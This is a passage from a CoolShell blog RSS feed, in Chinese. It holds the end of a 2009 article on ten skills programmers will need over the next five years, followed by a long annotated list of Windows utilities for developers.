/>\n除非开发世界有根本的改变（类似小行星击中雷德蒙），在不远的将来，大部分开发人员将需要了解三大开发平台——.NET (VB.NET或者C#), Java, 或者PHP——中的至少一个。并且只了解核心语言也是不够的。因为项目会包含越来越多不同的功能，你需要对相关框架和库有深入的了解。（本人以为C/C++可能比这三个语言更有竞争力）</p>\n<p><span id=\"more-511\"></span></p>\n<p><strong>2) 互联网Rich Application (RIAs)</strong><br />\n不管爱她还是恨她，最近几年，Flash的用途突然间不仅仅是制作政治人物弱智歌曲演唱动画而已了。Flash也萌生出了以Flex和AIR为形式的附加功能。Flash的竞争对手，比如JavaFx和Silverlight，也在不停的在特性和性能上加筹码。HTML5集成了所有RIA的功能，包括数据库连接，而W3C正式地贴上了AJAX的标签。在不久的将来，RIA专家将会是简历的一个重要筛选条件。</p>\n<p><strong>3) Web开发</strong><br />\nWeb开发在近期内不会消失。很多开发人员满足于忽略Web或者只是使用他们的框架给他们提供的&#8221;基本元素&#8221;。但是公司需要越来越多的真正知道怎样使用底层技术进行“手工编码”的人。所以要获得成功请在未来5年里努力钻研JavaScript，CSS和HTML。</p>\n<p><strong>4) Web服务</strong><br />\nREST或者SOAP？JSON或者XML？ 尽管选项和答案取决于项目本身，不使用或者创建Web服务对一个开发人员（甚至是那些不做Web应用程序的）来说越来越困难。那些原来采用ODBC，COM或者RPC domains的领域，现在也在某种程度上过渡到了Web服务。不会用Web服务的开发人员将会发现他们被排挤或者沦为维护人员。</p>\n<p><strong>5) 其它软实力</strong><br />\n有一种已经开始了很久的趋势，IT在企业内部或者外部变得越来越透明。开发人员被卷入越来越多的非开发性会议和过程以给与反馈。举个例子，CFO要改变会计规则不能不依靠IT去更新系统。如果没有IT去升级CRM的工作流，运营经理就不能更改呼叫中心的流程。同样的，客户常常需要和开发小组一起工作来保证他们的需求被满足。每一个开发人员都需要找主持人帮助或者去学习《怎样结交朋友并影响别人》么？不是。但是拥有这种能力的开发人员对他们的雇主来说更有价值——并且更抢手。</p>\n<p><strong>6) 掌握一门动态的和/或一门函数编程语言<br />\n</strong>像Ruby，Python, F#, 和Groovy这样的语言并不很主流——但是他们包含的想法却是。比如说，微软的.NET中的LINO系统是函数编程技术的直接产物。Ruby和Python在某些部门很热门，分别感谢Rails框架和Silverlight。学习其中的一门语言不只会提升你的简历；它能开阔你的视野。我见过的每一个顶级开发人员都推荐学习至少一种动态或者函数编程语言，用来理解新的思考方式，个人经验来讲，我可以告诉你确实有用。</p>\n<p><strong>7）敏捷开发方法</strong><br />\n在敏捷开发方法刚开始进入主流视线的时候，我持怀疑态度，和其他我认识的很多家伙一样。它看起来就像某种对传统的下意识反应，丢掉控制和标准而偏爱混乱。但是随着时间的推移，敏捷开发背后的智慧被更好的定义和表达出来。很多团队不是应用了敏捷开发就是在进行敏捷开发的概念证明实验。尽管敏捷开发不是治愈项目失败的终极灵药，它的确在很多项目上有一席之地。在未来几年里，对有着敏捷开发环境的理解和成功经验的开发人员的需求将会高速增涨。</p>\n<p><strong>8) 相关领域知识</strong><br />\n和敏捷开发密切关联，开发小组在项目定义中被越来越多的看做是同伴。这意味着了解问题领域的开发人员能够用更可见的，高价值的方式给项目作出贡献。敏捷开发中，一个能够说，“从这里，我们也可以很简单的添加这项功能，而且这能给我们带来很多回报，” 或者 “噢，这个要求和我们的日志中显示的使用模式并不相符” 的人将是优胜者。正如许多开发人员有抵制了解问题领域的想法，不可否认的是越来越多的组织希望（如果不是要求）开发人员至少能理解基本的内容。</p>\n<p><strong>9) 开发修养</strong><br />\n几年之前，很多（如果不是大部分）团队都没有使用bug跟踪系统，版本控制，和其他类似工具；只有开发人员和他们选择的IDE。但是，感谢新的整合套件的开发，比如Microsoft Visual Studio Team System以及高质量开源环境的爆炸性发展，没用到这些工具的组织变得更不常见。开发人员必须比知道怎么在代码控制中提交和获得代码或者怎样用VM系统配置测试环境了解更多的东西。他们需要在适当的地方养成严格的卫生习惯以保证他们和其他的小组恰当的合作。“代码牛仔”，把所有的东西存放在私人USB盘上，不把对任务对象的相应改变记录成文档，等等的人，在传统的团队里不受欢迎，在需要团队成员之间紧密合作的敏捷开发环境中更是如此。</p>\n<p><strong>10) 移动无线开发</strong><br />\n上世纪90年末代web开发被主流接受开始在很多领域将传统的桌面程序边缘化，在2008年，移动无线开发开始兴起，在未来5年里，它将会变得越来越重要。当然，移动开发有很多不同的方法：针对移动设备的web应用程序开发，针对市场的RIAs，和直接在设备上运行的应用程序。不管你选择了哪个方向，把移动开发加入你的技能集会保证你满足未来的需求。<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px;color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n\n<div class=\"wp_rp_wrap  wp_rp_vertical_m\" ><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li ><a href=\"https://coolshell.cn/articles/22298.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2022/10/communication-150x150.png\" alt=\"聊聊团队协同和协同工具\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/22298.html\" class=\"wp_rp_title\">聊聊团队协同和协同工具</a></li><li ><a href=\"https://coolshell.cn/articles/22173.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2022/02/http_method-150x150.png\" alt=\"“一把梭：REST API 全用 POST”\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/22173.html\" class=\"wp_rp_title\">“一把梭：REST API 全用 POST”</a></li><li ><a href=\"https://coolshell.cn/articles/22157.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2022/02/monitoring-150x150.jpeg\" alt=\"谈谈公司对员工的监控\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/22157.html\" class=\"wp_rp_title\">谈谈公司对员工的监控</a></li><li ><a href=\"https://coolshell.cn/articles/21589.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2021/07/knowledge_sharing-300x169-1-150x150.jpeg\" alt=\"如何做一个有质量的技术分享\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/21589.html\" class=\"wp_rp_title\">如何做一个有质量的技术分享</a></li><li ><a href=\"https://coolshell.cn/articles/20977.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2020/08/programmer.01-e1596792460687-150x150.png\" alt=\"程序员如何把控自己的职业\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/20977.html\" class=\"wp_rp_title\">程序员如何把控自己的职业</a></li><li ><a href=\"https://coolshell.cn/articles/20765.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2020/01/remote-150x150.jpg\" alt=\"MegaEase的远程工作文化\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/20765.html\" class=\"wp_rp_title\">MegaEase的远程工作文化</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/511.html\">未来五年程序员需要掌握的10项技能</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></content:encoded>\n\t\t\t\t\t\n\t\t\t\t\t<wfw:commentRss>https://coolshell.cn/articles/511.html/feed</wfw:commentRss>\n\t\t\t<slash:comments>14</slash:comments>\n\t\t\n\t\t\n\t\t\t</item>\n\t\t<item>\n\t\t<title>Windows下和程序员相关小工具</title>\n\t\t<link>https://coolshell.cn/articles/506.html</link>\n\t\t\t\t\t<comments>https://coolshell.cn/articles/506.html#comments</comments>\n\t\t\n\t\t<dc:creator><![CDATA[陈皓]]></dc:creator>\n\t\t<pubDate>Mon, 13 Apr 2009 13:47:47 +0000</pubDate>\n\t\t\t\t<category><![CDATA[Windows]]></category>\n\t\t<category><![CDATA[操作系统]]></category>\n\t\t<category><![CDATA[工具]]></category>\n\t\t<guid isPermaLink=\"false\">http://coolshell.cn/?p=506</guid>\n\n\t\t\t\t\t<description><![CDATA[<p>1 HOUR SOFTWARE &#8211; 很多的小工具集 .NET Memory Profiler &#8211; 可以找出.NET程序中的内存泄露问题，...</p>\n<p class=\"read-more\"><a class=\"btn btn-default\" href=\"https://coolshell.cn/articles/506.html\"> Read More<span class=\"screen-reader-text\">  Read More</span></a></p>\nThe post <a href=\"https://coolshell.cn/articles/506.html\">Windows下和程序员相关小工具</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></description>\n\t\t\t\t\t\t\t\t\t\t<content:encoded><![CDATA[<p><script async src=\"https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158\"\n     crossorigin=\"anonymous\"></script><a href=\"http://www.donationcoder.com/Software/Skrommel/index.html\" target=\"_blank\">1 HOUR SOFTWARE</a> &#8211; 很多的小工具集</p>\n<p><a href=\"http://memprofiler.com/\" target=\"_blank\">.NET Memory Profiler</a> &#8211; 可以找出.NET程序中的内存泄露问题，并找出可优化的内存。</p>\n<p><a href=\"http://www.aisto.com/roeder/dotnet/\" target=\"_blank\">.NET Reflector</a> &#8211; 查看，导航，搜索.NET汇编中的类的继承关系。</p>\n<p><a href=\"http://www.pysoft.com/ActiveWebCamMainpage.htm\" target=\"_blank\">Active Webcam</a> &#8211; Webcam 视频监视软件。</p>\n<p><a href=\"http://www.joejoesoft.com/cms/showpage.php?cid=97\" target=\"_blank\">ArsClip</a> &#8211; 剪贴版管理程序，可以跟踪每次剪贴版中的内容，并可以通过设置热键，取出粘贴其中的内容。</p>\n<p><a href=\"http://www.netcoole.com/asp2aspx.htm\" target=\"_blank\">ASP2ASPX</a> &#8211; 转换ASP 程序页到ASP.NET</p>\n<p><a href=\"http://www.autohotkey.com/\" target=\"_blank\">AutoHotKey</a> &#8211; 自动点击键盘和鼠标。</p>\n<p><span id=\"more-506\"></span></p>\n<p><a href=\"http://www.fmjsoft.com/awframe.html\" target=\"_blank\">Awave Studio</a> &#8211; 几乎是所有的音频格式的转换程序。</p>\n<p><a href=\"http://www.bookcase.com/library/software/msdos.util.batch.html\" target=\"_blank\">Batch files</a> &#8211; 想要不同功能的bat文件吗？这个站点集成了很多功能强大的bat文件。</p>\n<p><a href=\"http://www.nu2.nu/pebuilder/\" target=\"_blank\">BartPE</a> &#8211; 制作一张可以启动的Windows CD/DVD</p>\n<p><a href=\"http://www.scootersoftware.com/\" target=\"_blank\">Beyond Compare</a> &#8211; 快速容易地比较和合并本地，远程或FTP服务器上的文件和目录。</p>\n<p><a href=\"http://www.bitpim.org/\" target=\"_blank\">BitPim</a> &#8211; 可以查看并操作绝大多数的 CDMA 手机</p>\n<p><a href=\"http://www.bullzip.com/products/pdf/info.php\" target=\"_blank\">Bullzip PDF Printer</a> &#8211; PDF文件打印机程序。</p>\n<p><a href=\"http://www.oxid.it/cain.html\" target=\"_blank\">Cain &amp; Abel</a> &#8211; 口令恢复工具。（可以用作正常和不正常的情况）</p>\n<p><a href=\"http://www.techsmith.com/camtasia.asp\" target=\"_blank\">Camtasia Studio</a> &#8211; 屏幕录像工具。</p>\n<p><a href=\"http://msdn2.microsoft.com/en-us/vcsharp/aa336818.aspx\" target=\"_blank\">C# Programming Tools</a> &#8211; C# 开发工具</p>\n<p><a href=\"http://www.ccleaner.com/\" target=\"_blank\">CCleaner</a> &#8211; 系统优化，隐私和清理工具。</p>\n<p><a href=\"http://ftp.uma.es/ClientesVPN/?C=M;O=A\" target=\"_blank\">Cisco VPN Clients</a> &#8211; Cisco VPN客户端。</p>\n<p><a href=\"http://clonedetectivevs.codeplex.com/\" target=\"_blank\">Clone Detective</a> &#8211; 这是一个集成到Visual Studio 中，允许你分析自己的C# projects 中是否有重复的代码，以便你重构你的代码。</p>\n<p><a href=\"http://www.codesmithtools.com/\" target=\"_blank\">CodeSmith</a> &#8211; 代码生成器，可惜是收费的。</p>\n<p><a href=\"http://tools.tortoisesvn.net/CommitMonitor\" target=\"_blank\">Commit Monitor</a> &#8211; 一个任务栏中的小监视器，当 subversion 的源代码被别人更新过了，他可以通知你。</p>\n<p><a href=\"http://www.microsoft.com/downloads/details.aspx?familyid=22e69ae4-7e40-4807-8a86-b3d36fab68d3&amp;displaylang=en\" target=\"_blank\">Consolas Font Pack</a> &#8211; 终级的程序字体。（VS2005）</p>\n<p><a href=\"http://www.nirsoft.net/utils/cports.html\" target=\"_blank\">CurrPorts</a> &#8211; 把所有打开的 TCP/IP 和UDP 端口都列出来。</p>\n<p><a href=\"http://www.daemon-tools.cc/dtcc/download.php?mode=ViewCategory&amp;catid=5\" target=\"_blank\">DAEMON Tools Lite</a> &#8211; 大名鼎鼎的超轻量级的虚拟光驱程序。</p>\n<p><a href=\"http://wiki.lunarsoft.net/wiki/Dial-a-fix\" target=\"_blank\">DialAFix</a> &#8211; 可以修复很多不同的Windows 问题的小工具。</p>\n<p><a href=\"http://www.pcmag.com/article2/0,2817,1944519,00.asp\" target=\"_blank\">DiskAction</a> &#8211; 查看目前的进程是怎么在存取你的硬盘的。</p>\n<p><a href=\"http://www.bigbangenterprises.de/en/doublekiller\" target=\"_blank\">DoubleKiller</a> &#8211; 查找相同的文件，并保留其中的一份。</p>\n<p><a href=\"http://www.stack.nl/~dimitri/doxygen/\" target=\"_blank\">Doxygen</a> &#8211; 一个通过程序注释创建程序文档的工具，非常有用。</p>\n<p><a href=\"http://www.innovative-sol.com/drivermax/\" target=\"_blank\">DriverMax</a> &#8211; 导出所有驱动器的数据到一个目录或一个压缩文件中。</p>\n<p><a href=\"http://www.debuginspector.com/index.htm\" target=\"_blank\">Debug Inspector</a> &#8211; 在多线程中，可以同时看到各个线程的函数调用栈。并可以检测死锁。</p>\n<p><a href=\"http://www.exactaudiocopy.de/\" target=\"_blank\">EAC</a> &#8211; 从CD或DVD中捕捉音视的程序。</p>\n<p><a href=\"http://www.heidi.ie/node/14\" target=\"_blank\">Eraser</a> &#8211; 彻底地删文件，删除文件后，在原来分配给文件的硬盘上写上一些随机的字符。</p>\n<p><a href=\"http://www.lavalys.com/\" target=\"_blank\">EVEREST</a> &#8211; PC 诊断和benchmark的工具。</p>\n<p><a href=\"http://www.fiddlertool.com/fiddler/version.asp\" target=\"_blank\">Fiddler</a> &#8211; Web 调试代理。</p>\n<p><a href=\"http://www.gbordier.com/\" target=\"_blank\">FILEACL</a> &#8211; NTFS 权限管理工具。</p>\n<p><a href=\"http://www.lopesoft.com/en/fmtools/info.html\" target=\"_blank\">FileMenu Tools</a> &#8211; Explorer 的右键菜单管理工具。</p>\n<p><a href=\"http://filezilla-project.org/\" target=\"_blank\">FileZilla</a> &#8211; 鼎鼎大名的FTP/FTPS/SFTP 客户端。</p>\n<p><a href=\"http://addons.mozilla.org/en-US/firefox/addon/1843/\" target=\"_blank\">FireBug</a> &#8211; 在Firefox中调试JavaScript。</p>\n<p><a href=\"http://fireftp.mozdev.org/\" target=\"_blank\">FireFTP</a> &#8211; Firefox的FTP 客户端。</p>\n<p><a href=\"http://www.fortresgrand.com/products/f101/f101.htm\" target=\"_blank\">Fortres 101</a> &#8211; 桌面安全软件。</p>\n<p><a href=\"http://www.slavasoft.com/fsum/\" target=\"_blank\">FSUM</a> &#8211; 一个验证文件完整性的命令行工具。</p>\n<p><a href=\"http://www.microsoft.com/downloads/details.aspx?FamilyID=9aeaa970-f281-4fb0-aba1-d59d7ed09772&amp;DisplayLang=en\" target=\"_blank\">FxCop</a> &#8211; .NET 源码分析工具。</p>\n<p><a href=\"http://getright.com/\" target=\"_blank\">GetRight</a> &#8211; 一个非常优秀的下载管理器。</p>\n<p><a href=\"https://secure.logmein.com/products/hamachi/vpn.asp\" target=\"_blank\">Hamachi</a> &#8211; 可以提供一个VPN 服务。设置起来非常简单，只需要10分钟，然后你就可以通过internet连入你的公司或家里了。</p>\n<p><a href=\"http://www.hmailserver.com/\" target=\"_blank\">hMailServer</a> &#8211; 免费的邮件服务器。</p>\n<p><a href=\"http://www.ieinspector.com/httpanalyzer/\" target=\"_blank\">HTTP Analyzer</a> &#8211; 实时监控，跟踪，调试，并分析 HTTP/HTTPS 的访问。</p>\n<p><a href=\"http://www.port80software.com/products/httpzip/\" target=\"_blank\">httpZip</a> &#8211; 基于IIS 4, 5, 和6.0 的ISAPI。</p>\n<p><a href=\"http://www.microsoft.com/downloads/details.aspx?familyid=56FC92EE-A71A-4C73-B628-ADE629C89499&amp;displaylang=en\" target=\"_blank\">IIS 6.0 Resource Kit Tools</a> &#8211; 帮助你设置，保护和管理IIS。</p>\n<p><a href=\"http://www.codeplex.com/iisadmin\" target=\"_blank\">IIsAdmin.NET</a> &#8211; 创建多个IIS站点的定义。</p>\n<p><a href=\"http://www.microsoft.com/downloads/details.aspx?FamilyId=4516A6F7-5D44-482B-9DBD-869B4A90159C\" target=\"_blank\">Internet Explorer 7 Blocker</a> &#8211; 阻止IE7 被安装。（奇怪的工具）</p>\n<p><a href=\"http://www.imtoo.com/mpeg-encoder.html\" target=\"_blank\">ImTOO MPEG Encoder</a> &#8211; 视频格式转换。</p>\n<p><a href=\"http://installpad.com/\" target=\"_blank\">InstallPad</a> &#8211; 让你的程序运行地更快一些。</p>\n<p><a href=\"http://tangiblesoftwaresolutions.com/\" target=\"_blank\">Instant C#</a> &#8211; 把 VB.NET程序 转成C#程序</p>\n<p><a href=\"http://sourceforge.net/project/downloading.php?groupname=javara&amp;filename=JavaRa.zip&amp;use_mirror=osdn\" target=\"_blank\">JavaRa</a> &#8211; 删除好的没有用的Java版本。</p>\n<p><a href=\"http://jaxe.sourceforge.net/\" target=\"_blank\">Jaxe</a> &#8211; 一个免费的 XML 编辑器，并支持 XPath 搜索。</p>\n<p><a href=\"http://www.kessels.com/JkDefrag/\" target=\"_blank\">JKDefrag</a> &#8211; 一个很不错的磁盘碎片整理优化程序。</p>\n<p><a href=\"http://www.rekenwonder.com/linkmagic.htm\" target=\"_blank\">Junction Link Magic</a> &#8211; 创建 junction points（比如我的文档，网上邻居这类的目录）</p>\n<p><a href=\"http://www.jzip.com/\" target=\"_blank\">jZip</a> &#8211; 创建，解压，压缩Zip, TAR, GZip 和7-Zip文件，只能解压 RAR 和ISO文件。</p>\n<p><a href=\"http://www.launchy.net/\" target=\"_blank\">Launchy</a> &#8211; 在你的开始菜单中创建文件，工程，目录和收藏夹等东西。</p>\n<p><a href=\"http://www.leafnetworks.net/\" target=\"_blank\">Leaf Networks</a> &#8211; 创建你自己私有的网络。</p>\n<p><a href=\"http://www.linqpad.net/\" target=\"_blank\">LINQPad</a> &#8211; 一个小工具可以和 SQL databases,，XML data 和object collections 交互。</p>\n<p><a href=\"http://www.mediafour.com/macdrive\" target=\"_blank\">MacDrive</a> &#8211; 在Windows下挂载OS-X HFS/HFS+ 文件系统。</p>\n<p><a href=\"http://www.magiciso.com/\" target=\"_blank\">MagicISO</a> &#8211; 一个强大的 CD/DVD 映像文件 创建/编辑/提取工具。</p>\n<p><a href=\"http://technet.microsoft.com/en-us/security/cc184924.aspx\" target=\"_blank\">MBSA</a> &#8211; 帮你校对并比对你系统目前的系统安全是否是微软推荐的。</p>\n<p><a href=\"http://www.microsoft.com/downloads/details.aspx?FamilyID=890cd06b-abf8-4c25-91b2-f8d975cf8c07&amp;displaylang=en\" target=\"_blank\">Microsoft Log Parser</a> &#8211; 可以读取基于文本的log files，XML 文件或CSV 文件，这些文件一般都是Windows操作系统中各种工具的日志文件，比如事件日志，注册表，性能监视器和活动目录。</p>\n<p><a href=\"http://www.microsoft.com/downloads/details.aspx?FamilyID=7c8051c2-9bfc-4c81-859d-0864979fa403&amp;displaylang=en\" target=\"_blank\">Microsoft PowerShell 2</a> &#8211; Microsoft下一代的命令行shell</p>\n<p><a href=\"http://en.wikipedia.org/wiki/Robocopy\" target=\"_blank\">Microsoft RoboCopy</a> &#8211; 强大的文件拷贝。</p>\n<p><a href=\"http://www.microsoft.com/downloads/details.aspx?FamilyId=56E5B1C5-BF17-42E0-A410-371A838E570A&amp;displaylang=en\" target=\"_blank\">Microsoft SQL Server Database Publishing Wizard 1.1</a> &#8211; 把SQL  Sever数据库变成T-SQL 脚本。</p>\n<p><a href=\"http://www.microsoft.com/windowsserver2008/en/us/support-unix.aspx\" target=\"_blank\">Microsoft SUA for UNIX-based Applications</a> &#8211; 和UNIX 互通的组件。</p>\n<p><a href=\"http://www.mono-project.com/Start\" target=\"_blank\">Mono/GTK#/Moonlight</a> &#8211; Linux下的.NET, ASP.NET 和 Silverlight</p>\n<p><a href=\"http://download.microsoft.com/download/7/b/6/7b6abd84-7841-4978-96f5-bd58df02efa2/winxpvirtualcdcontrolpanel_21.exe\" target=\"_blank\">Microsoft Virtual CD-ROM Control Panel</a> &#8211; ISO 文件虚拟光驱。</p>\n<p><a href=\"http://www.microsoft.com/downloads/details.aspx?familyid=72d6aa49-787d-4118-ba5f-4f30fe913628&amp;displaylang=en\" target=\"_blank\">Microsoft XML Notepad 2007</a> &#8211;  XML 文件编辑器。</p>\n<p><a href=\"http://www.mygenerationsoftware.com/portal/default.aspx\" target=\"_blank\">MyGeneration</a> &#8211; 代码生成器。</p>\n<p><a href=\"http://www.nat32.com/\" target=\"_blank\">NAT32 IP Router</a> &#8211; 一个外网内网IP转换程序。</p>\n<p><a href=\"http://www.pcmag.com/article2/0,2817,2122550,00.asp\" target=\"_blank\">NetShare Manager</a> &#8211; 组织并控制不同网络的网络共享。</p>\n<p><a href=\"http://www.netstumbler.com/\" target=\"_blank\">NetStumbler</a> &#8211; 网络抓包程序，用于Wi-Fi 网络。</p>\n<p><a href=\"http://users.pandora.be/ahmadi/nettools.htm\" target=\"_blank\">NetTools</a> &#8211; 一个全面的主机监控，网络扫描，安全，管理工具。可能还更多。</p>\n<p><a href=\"http://www.nirsoft.net/utils/index.html\" target=\"_blank\">NirTools</a> &#8211; 一个Windows 工具集。</p>\n<p><a href=\"http://www.joejoesoft.com/cms/showpage.php?cid=97\" target=\"_blank\">NOD32</a> &#8211; 号称是目前最好的防病毒软件。</p>\n<p><a href=\"http://www.netikus.net/products_nttoolkit.html\" target=\"_blank\">NT Toolkit</a> &#8211; 一系例小巧而实用为了网络管理而设计的工具。</p>\n<p><a href=\"http://www.meinberg.de/english/sw/ntp.htm\" target=\"_blank\">NTP</a> &#8211; Windows的网络时间服务程序。</p>\n<p><a href=\"http://www.stardock.com/products/odnt/\" target=\"_blank\">Object Desktop</a> &#8211; 让Windows看起来就是你想要的。</p>\n<p><a href=\"http://openvpn.net/\" target=\"_blank\">OpenVPN</a> &#8211; 全功能的开源 SSL VPN 解决方案。支持远程访问， site-to-site VPNs, Wi-Fi 安全，和企业级的解决方案——比如负载平衡，权限策略等</p>\n<p><a href=\"http://osiris.shmoo.com/\" target=\"_blank\">Osiris Host Integrity Monitoring</a> &#8211; 一个主机监控程序。其可以监控一台或多台主机是否发生了改变，其维护了一个非常细的日志来记录了文件系统，用户，内核模块的改变，以及更多的东西。</p>\n<p><a href=\"http://www.ossim.net/\" target=\"_blank\">OSSIM</a> &#8211; 全称是Open Source Security Information Management，一个提供了全面的工具，这些小工具在一起工作，可让你看到所有主机的网络/物理资源的使用情况。</p>\n<p><a href=\"http://www.getpaint.net/\" target=\"_blank\">Paint.NET</a> &#8211; 一个免费的很简单的图片编辑器。</p>\n<p><a href=\"http://www.powergrep.com/\" target=\"_blank\">PowerGREP</a> &#8211; Windows 下的grep 工具，不但支持文本文件，还支持，二进制文件，压缩文件，WORD文件，EXCEL电子表格，PDF文件等等。（关于grep，这是一个Unix下的扫描文件内容或标准输出，并找到匹配字符串的程序）</p>\n<p><a href=\"http://www.powerlocker.com/index_files/PowerLockerPro.htm\" target=\"_blank\">PowerLocker</a> &#8211; 提供了一个快速简单的方式让你锁住你的PowerShell scripts</p>\n<p><a href=\"http://www.stevemiller.net/puretext/\" target=\"_blank\">PureText</a> &#8211; 任务栏小图标可以移除剪贴板里的文本格式。</p>\n<p><a href=\"http://www.chiark.greenend.org.uk/~sgtatham/putty/\" target=\"_blank\">PuTTY</a> &#8211; 这个不用多说了，鼎鼎大名的免费的Telnet 和SSH客户端程序。</p>\n<p><a href=\"http://www.regexbuddy.com/\" target=\"_blank\">RegExBuddy</a> &#8211; 一个容易创建正规表达式的工具。即简单，也复杂。</p>\n<p><a href=\"http://sourceforge.net/projects/regulator/\" target=\"_blank\">Regulator</a> &#8211; 高级的正则表达式测试工具。并有语法高亮显示和web-service 集成以读取Regexlib.com的在线正则表达式。</p>\n<p><a href=\"http://www.jetbrains.com/resharper/\" target=\"_blank\">ReSharper</a> &#8211; 完全集成于Visual Studio，实时的错误高亮，代码提示，以及单元测试工具。一供有超过30 个高级的代码重构方案，多个代码导航和收搜工具，自动代码生成，和代码模板生成，以及其它更多的功能以配合C#, VB.NET, ASP.NET, XML, 和XAML使用。</p>\n<p><a href=\"http://www.revouninstaller.com/\" target=\"_blank\">Revo Uninstaller</a> &#8211; 反安装，删除程序。以解决反安装中的问题。</p>\n<p><a href=\"http://www.roboform.com/\" target=\"_blank\">RoboForm</a> &#8211; 口令管理，网页表单填写。</p>\n<p><a href=\"http://www.codeplex.com/sdctasks\" target=\"_blank\">SDC Tasks Library</a> &#8211; 超过300 MSBuild 任务。</p>\n<p><a href=\"http://blogs.msdn.com/delay/archive/2009/03/11/where-s-your-leak-at-using-windbg-sos-and-gcroot-to-diagnose-a-net-memory-leak.aspx\" target=\"_blank\">SOS</a> &#8211; WinDbg 扩展，可以让WPF 和Silverlight 程序员使用。</p>\n<p><a href=\"http://www.gtopala.com/\" target=\"_blank\">System Information for Windows</a> &#8211; 收集系统属性和配置的细节信息。并用一种极端的完整的方式显示出来。</p>\n<p><a href=\"http://www.javacoolsoftware.com/spywareblaster.html\" target=\"_blank\">SpywareBlaster</a> &#8211; 阻止你的IE中了基于ActiveX的间谍软件，广告软件，以及流氓软件，或是其它你不想要的软件。</p>\n<p><a href=\"http://www.nirsoft.net/utils/smsniff.html\" target=\"_blank\">SmartSniff</a> &#8211; TCP/IP 抓包程序。</p>\n<p><a href=\"http://www.techsmith.com/\" target=\"_blank\">SnagIt</a> &#8211; 强大的抓屏程序。</p>\n<p><a href=\"http://subversion.tigris.org/\" target=\"_blank\">subversion</a> &#8211; 鼎鼎大名的代码版本控制软件。</p>\n<p><a href=\"http://sqldigger.bdsweb.be/\" target=\"_blank\">SQL Digger</a> &#8211; SQL存过，视图等关键字搜索工具。</p>\n<p><a href=\"http://www.cabercomputing.com/Products-SqlTac.aspx\" target=\"_blank\">SQLTac</a> &#8211; 强大的协助你管理你的Domain Knowledge工具。</p>\n<p><a href=\"http://www.sqltools.net/\" target=\"_blank\">SQLTools</a> &#8211; 免费的Oracle PL/SQL 编辑器。</p>\n<p><a href=\"http://www.sqlyog.com/\" target=\"_blank\">SQLyog</a> &#8211; 免费的MySQL 编辑器。</p>\n<p><a href=\"http://code.msdn.microsoft.com/sourceanalysis\" target=\"_blank\">StyleCop</a> &#8211; 分析C# 源代码，以保成代码风格的一致性。</p>\n<p><a href=\"http://www.superantispyware.com/\" target=\"_blank\">SuperAntiSpyware</a> &#8211; 最牛的反间谍软件扫描器。</p>\n<p><a href=\"http://www.2brightsparks.com/syncback/sbpro.html\" target=\"_blank\">SyncBackPro</a> &#8211; 实时加密，版本备份和同步。</p>\n<p><a href=\"http://synergy2.sourceforge.net/\" target=\"_blank\">synergy2</a> &#8211; 让一个鼠标键盘共享给多个电脑使用。</p>\n<p><a href=\"http://live.sysinternals.com/\" target=\"_blank\">SysInternals Suite Live</a> &#8211; 一个超强的NETBIOS 版本的SysInternals Suite</p>\n<p><a href=\"http://technet.microsoft.com/en-us/sysinternals/0e18b180-9b7a-4c49-8120-c47c5a693683.aspx\" target=\"_blank\">Sysinternals Suite</a> &#8211; 一级超强的高兴系统工具和技术信息。</p>\n<p><a href=\"http://www.sysresccd.org/\" target=\"_blank\">SystemRescueCD</a> &#8211; 可启动的 Linux CD </p>\n<p><a href=\"http://jpsoft.com/\" target=\"_blank\">Take Command</a> &#8211; 最好的图形Shell。</p>\n<p><a href=\"http://www.pcmag.com/article2/0,2817,2253746,00.asp\" target=\"_blank\">TaskPower</a> &#8211; 查看并分析进程的运行。</p>\n<p><a href=\"http://www.jetbrains.com/teamcity\" target=\"_blank\">TeamCity</a> &#8211; 惊艳的持续综合包。</p>\n<p><a href=\"http://www.cgsecurity.org/wiki/TestDisk\" target=\"_blank\">TestDisk</a> &#8211; 恢复丢失的分区。</p>\n<p><a href=\"http://www.threatfire.com/\" target=\"_blank\">ThreatFire</a> &#8211; 实时的行为分析和间谍软件检测软件。</p>\n<p><a href=\"http://www.jam-software.com/software.html\" target=\"_blank\">TreeSize Free</a> &#8211; 告诉你为什么宝贵的磁盘空间到哪里去了。</p>\n<p><a href=\"http://www.ceruleanstudios.com/\" target=\"_blank\">Trillian</a> &#8211; 多人网络聊天工具。</p>\n<p><a href=\"http://www.truecrypt.org/\" target=\"_blank\">TrueCrypt</a> &#8211; 免费的开源的磁盘加密软件，可用于Windows Vista/XP, Mac OS X, 和Linux</p>\n<p><a href=\"http://www.bitvise.com/tunnelier\" 